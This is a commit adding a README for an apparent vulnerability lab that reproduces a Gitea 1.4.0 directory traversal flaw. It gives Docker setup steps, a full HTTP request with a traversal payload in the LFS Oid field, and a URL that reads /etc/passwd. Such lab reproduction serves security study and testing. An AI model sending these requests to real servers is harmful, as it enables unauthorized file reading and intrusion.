first commit

gitea/1.4-rce/README.md

@@ -0,0 +1,57 @@
+# Gitea 1.4.0 Directory Traversal Leading to Remote Command Execution
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Gitea is an open-source project forked from Gogs, providing a self-hosted platform similar to Github and Gitlab for managing Git repositories with multiple users. In version 1.4.0, there is a logic error that allows unauthorized users to traverse directories, read and write arbitrary files, ultimately leading to arbitrary command execution.
+
+References:
+
+- https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html
+- https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html
+
+## Environment Setup
+
+Execute the following command to start the vulnerable Gitea 1.4.0:
+
+```
+docker compose up -d
+```
+
+After the server starts, visit `http://your-ip:3000` to enter the installation page. Fill in the administrator account and password, modify the website URL, and keep other settings as default. (Do not modify the port number)
+
+After installation, create a public repository and add some files to it (for example, initialize the repository with selected files and templates):
+
+![](1.png)
+
+Then, you need to execute `docker compose restart` to restart the Gitea service. (For the reason, see the second reference link)
+
+## Vulnerability Reproduction
+
+Since the vulnerability chain is quite complex overall, we will only reproduce the file reading part. For the remaining exploitation methods, please refer to the second reference link.
+
+Open Gitea, find the public project you just created, such as `vulhub/repo`, and send the following data packet to add a Git LFS object:
+
+```
+POST /vulhub/repo.git/info/lfs/objects HTTP/1.1
+Host: your-ip:3000
+Accept-Encoding: gzip, deflate
+Accept: application/vnd.git-lfs+json
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/json
+Content-Length: 151
+
+{
+    "Oid": "....../../../etc/passwd",
+    "Size": 1000000,
+    "User" : "a",
+    "Password" : "a",
+    "Repo" : "a",
+    "Authorization" : "a"
+}
+```
+
+Then, visit `http://your-ip:3000/vulhub/repo.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth`, and you can see that `/etc/passwd` has been successfully read:
+
+![](2.png)